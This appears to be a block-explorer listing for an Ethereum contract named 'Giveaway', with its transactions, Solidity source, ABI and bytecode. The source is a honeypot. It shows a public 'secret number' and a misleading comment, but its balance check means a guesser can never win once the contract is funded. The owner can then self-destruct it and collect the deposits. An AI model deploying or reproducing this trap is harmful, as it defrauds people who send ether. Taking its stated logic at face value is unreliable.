Contract 0x9f54d912a029380f2743aaf4ddd28c3f207cd719

 

TxHash Block Age From To Value [TxFee]
0x78ef7e235741e74a2cc577d9776c7daf2049083087166093a2edc56ea8aba775713133028 days 6 hrs ago0xa87a6017687f5d7607a4dde37624fa8eec9b0d45 IN  0x9f54d912a029380f2743aaf4ddd28c3f207cd7190 Ether0.000086532
0x3d60b8e39f73a8dff9d94cebb50c4edb28195c4630dd1040988f5fdfe526acf4713132128 days 6 hrs ago0xa87a6017687f5d7607a4dde37624fa8eec9b0d45 IN  0x9f54d912a029380f2743aaf4ddd28c3f207cd7190 Ether0.000088292
0xd4d888503fa6463066793b174427277fbe32d5306ed972d4d3d0c2dce0579f4a713131228 days 6 hrs ago0xa87a6017687f5d7607a4dde37624fa8eec9b0d45 IN  0x9f54d912a029380f2743aaf4ddd28c3f207cd7190 Ether0.000086532
0x25e47e619312f8bedb14195fde70dd14bf35b8501c5de08eeb9344f2c8077a415276391342 days 20 hrs ago0x4ef20870417d43f9bae32de7a14f7f78394bb9e9 IN  0x9f54d912a029380f2743aaf4ddd28c3f207cd7190.08 Ether0.00002104
0xfca9925b4650d1715f4815a7bccc5d61b373399817c39a47b7c61dbdcf9d98fa5276256342 days 20 hrs ago0x4ef20870417d43f9bae32de7a14f7f78394bb9e9 IN  Contract Creation0 Ether0.000416222
[ Download CSV Export 

Internal Transactions as a result of Contract Execution

Parent TxHash Block Age From To Value
Warning: The compiled contract might be susceptible to ExpExponentCleanup (medium/high-severity), EventStructWrongData (very low-severity), NestedArrayFunctionCallDecoder (medium-severity) Solidity Compiler Bugs.

Contract Source Code Verified (Exact Match)
Contract Name: Giveaway
Compiler Version: v0.4.21+commit.dfe3193c
Optimization Enabled: Yes
Runs (Optimizer):  200


Contract Source Code
pragma solidity ^0.4.21;
contract Giveaway {

    address private owner = msg.sender;
    uint public SecretNumber = 24;
   
    function() public payable {
    }
   
    function Guess(uint n) public payable {
        if(msg.value >= this.balance && n == SecretNumber && msg.value >= 0.07 ether) {
            // Previous Guesses makes the number easier to guess so you have to pay more
            msg.sender.transfer(this.balance + msg.value);
        }
    }
    
    function kill() public {
        require(msg.sender == owner);
	    selfdestruct(msg.sender);
	}
}

Contract ABI
[{"constant":false,"inputs":[],"name":"kill","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"name":"n","type":"uint256"}],"name":"Guess","outputs":[],"payable":true,"stateMutability":"payable","type":"function"},{"constant":true,"inputs":[],"name":"SecretNumber","outputs":[{"name":"","type":"uint256"}],"payable":false,"stateMutability":"view","type":"function"},{"payable":true,"stateMutability":"payable","type":"fallback"}]

Contract Creation Code
606060405260008054600160a060020a03191633600160a060020a03161790556018600155341561002f57600080fd5b6101aa8061003e6000396000f3006060604052600436106100565763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166341c0e1b5811461005857806375f96ead1461006b578063c2610cda14610076575b005b341561006357600080fd5b61005661009b565b6100566004356100dc565b341561008157600080fd5b610089610178565b60405190815260200160405180910390f35b6000543373ffffffffffffffffffffffffffffffffffffffff9081169116146100c357600080fd5b3373ffffffffffffffffffffffffffffffffffffffff16ff5b3073ffffffffffffffffffffffffffffffffffffffff16313410158015610104575060015481145b8015610117575066f8b0a10e4700003410155b15610175573373ffffffffffffffffffffffffffffffffffffffff166108fc343073ffffffffffffffffffffffffffffffffffffffff1631019081150290604051600060405180830381858888f19350505050151561017557600080fd5b50565b600154815600a165627a7a723058205e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b10029


   Swarm Source:
bzzr://5e2c9ae04fa9f848f2761b97fb2f7d1aa4cedac56d87e44905e9b8aa30e7c9b1
Block Age transaction Difficulty GasUsed Reward
Block Age Uncle Number Difficulty GasUsed Reward
Make sure to use the "Vote Down" button for any spammy posts, and the "Vote Up" for interesting conversations.